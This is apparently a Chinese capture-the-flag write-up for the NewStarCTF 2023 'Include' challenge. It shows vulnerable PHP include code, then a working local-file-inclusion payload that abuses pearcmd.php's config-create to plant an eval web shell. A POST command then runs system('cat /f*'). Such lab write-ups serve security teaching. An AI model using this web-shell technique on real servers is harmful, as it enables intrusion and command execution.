[NewStarCTF 2023 公开赛道]Include 🍐

上来看到源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

传一个phpinfo看看是什么

img

一个假的flag,不过这是个提示,那我们看一下register_argc_argv是什么玩意

img

开启状态,那我就得查查资料了,这个register_argc_argv的作用

直接放文章链接:https://cloud.tencent.com/developer/article/2204400 https://www.cnblogs.com/Yu--/p/15788689.html https://blog.csdn.net/weixin_53090346/article/details/127241278

这个主要是用的是包含pearcmd.php这个文件来执行命令,然后借用大佬的图哈

img

可以看到,里面有一个config-create参数,这个就是去创建文件的命令,不过要用+来隔开(底层原因:https://xz.aliyun.com/t/11089?time__1311=Cq0x2Qi%3Domq7qGNDQieiKO%2BmjowcGAbD#toc-0)

1
2
3
所以,构造我们的payload
?file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['a'])?>+./a.php
不同的系统pearcmd存放的位置好像不一定, 有的在/usr/share/php/pearcmd.php。

img

注意:用BP进行操作,不然在浏览器中<>就会被URL编码,就会导致我们的马不管用了

然后,POST传入执行命令

1
2
?file=./a
POST:a=system("cat /f*");

img

本题考查的是LFI文件包含和RCE的结合,关键点是在pearcmd.php上,不过这种使用方法只能是register_argc_argv开启状态才行。不过如果可以上传文件的话,可以进行上传容器配置文件来改变关闭状态(参考:https://cloud.tencent.com/developer/article/2204400)

当然,LFI可以做的事还很多比如还可以提权(参考文章:https://www.freebuf.com/articles/web/253102.html)